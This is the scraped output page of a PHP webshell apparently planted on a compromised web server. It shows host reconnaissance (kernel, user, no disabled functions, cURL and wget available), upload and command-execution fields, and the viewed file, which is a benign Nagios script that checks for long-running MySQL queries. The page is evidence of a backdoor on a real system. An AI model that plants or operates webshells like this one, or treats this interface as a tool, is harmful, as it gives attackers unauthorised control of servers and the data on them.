403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.142
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/lib64/nagios/plugins/check_a2_long_mysql_queries
#!/bin/bash

# SYSENG-22017 enabling checks for long queries.
# Time threshold for long queries (in seconds)
THRESHOLD=10800  # 3hours

# Log file path
LOG_FILE="/var/log/cmk_mysql_long_queries.log"

if ! mysqladmin ping >/dev/null 2>&1; then
  echo "MySQL_Long_Queries - Couldn't connect to MySQL"
  echo -e "$(date '+%Y-%m-%d %H:%M:%S') - Error: Unable to connect to MySQL." >> "${LOG_FILE}"
  exit 2
fi

# Check if the log file exists, and if not, create it
if [ ! -f "${LOG_FILE}" ]; then
  touch "${LOG_FILE}"
fi

# Connect to MySQL and get the long-running queries
LONG_QUERIES=$(nice -n19 mysql --defaults-extra-file=/root/.my.cnf -b -N --skip-comments -e "SELECT DB, USER, TIME, INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE time > ${THRESHOLD} AND Command NOT LIKE 'Sleep';" 2>&1)

# Output the result for CheckMK
NUM_LONG_QUERIES=$(echo "${LONG_QUERIES}" | grep -v '^$' | wc -l)
if [ "${NUM_LONG_QUERIES}" -gt 0 ]; then
  echo "MySQL_Long_Queries - There are ${NUM_LONG_QUERIES} long-running queries. Log file ${LOG_FILE}"
  echo -e "$(date '+%Y-%m-%d %H:%M:%S') - Long-running queries details:" >> "${LOG_FILE}"
  echo "${LONG_QUERIES}" >> "${LOG_FILE}"
  exit 2
else
  echo "MySQL_Long_Queries - No long-running queries found."
  exit 0
fi

Youez - 2016 - github.com/yon3zu
LinuXploit